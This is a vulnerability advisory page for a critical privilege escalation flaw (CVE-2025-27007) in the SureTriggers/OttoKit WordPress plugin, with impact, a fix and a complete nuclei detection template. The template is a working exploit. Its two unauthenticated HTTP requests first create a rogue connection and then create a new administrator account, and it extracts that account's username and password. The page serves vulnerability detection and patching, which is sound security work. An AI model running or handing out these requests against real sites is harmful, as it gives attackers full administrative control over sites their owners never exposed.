OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation

criticalseverity

9.8CVSS score

54.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.

Impact

Unauthenticated attackers can create unauthorized connections and escalate privileges to administrator through the SureTriggers REST API endpoints, gaining complete control over the WordPress site.

Fix

Upgrade to SureTriggers version 1.0.83 or later that implements proper privilege assignment checks.

How to confirm it

Send: POST /wp-json/sure-triggers/v1/connection/create-wp-connection
Positive when: contains "success" and "Connected successfully."
Send: POST /wp-json/sure-triggers/v1/automation/action
Positive when: contains "\"administrator\":true" and "\"success\":true" and "new_{{username}}"

Run it with nuclei: nuclei -id CVE-2025-27007 -u <target>

The full check

id: CVE-2025-27007

info:
  name: OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.
  impact: |
    Unauthenticated attackers can create unauthorized connections and escalate privileges to administrator through the SureTriggers REST API endpoints, gaining complete control over the WordPress site.
  remediation: |
    Upgrade to SureTriggers version 1.0.83 or later that implements proper privilege assignment checks.
  reference:
    - https://patchstack.com/articles/additional-critical-ottokit-formerly-suretriggers-vulnerability-patched?_s_id=cve
    - https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-27007
    cwe-id: CWE-266
    epss-score: 0.54188
    epss-percentile: 0.99018
  metadata:
    verified: true
    max-request: 2
    public-query: "/wp-content/plugins/suretriggers"
  tags: cve,cve2025,ottokit,intrusive,priv,wordpress,wp-plugin,wp,suretriggers,vkev,vuln

variables:
  username: "admin"
  password: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  access_key: "{{randbase(10)}}"
  attacker: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/sure-triggers/v1/connection/create-wp-connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        User-Agent: OttoKit

        {"sure-triggers-access-key": "{{access_key}}", "wp-password": "a", "connection_status": "ok", "wp-username": "{{username}}", "connected_email": "{{email}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'success'
          - 'Connected successfully.'
        internal: true
        condition: and

  - raw:
      - |
        POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
        Host: {{Hostname}}
        St-Authorization: Bearer {{access_key}}
        Content-Type: application/x-www-form-urlencoded

        selected_options[user_name]=new_{{username}}&selected_options[user_email]={{attacker}}&selected_options[password]={{password}}&selected_options[role]=administrator&integration=WordPress&type_event=create_user_if_not_exists&

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"administrator":true'
          - '"success":true'
          - "new_{{username}}"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: new_" + username + " Password: " + password'

References

Use this check only on systems you are authorised to test. Where the data comes from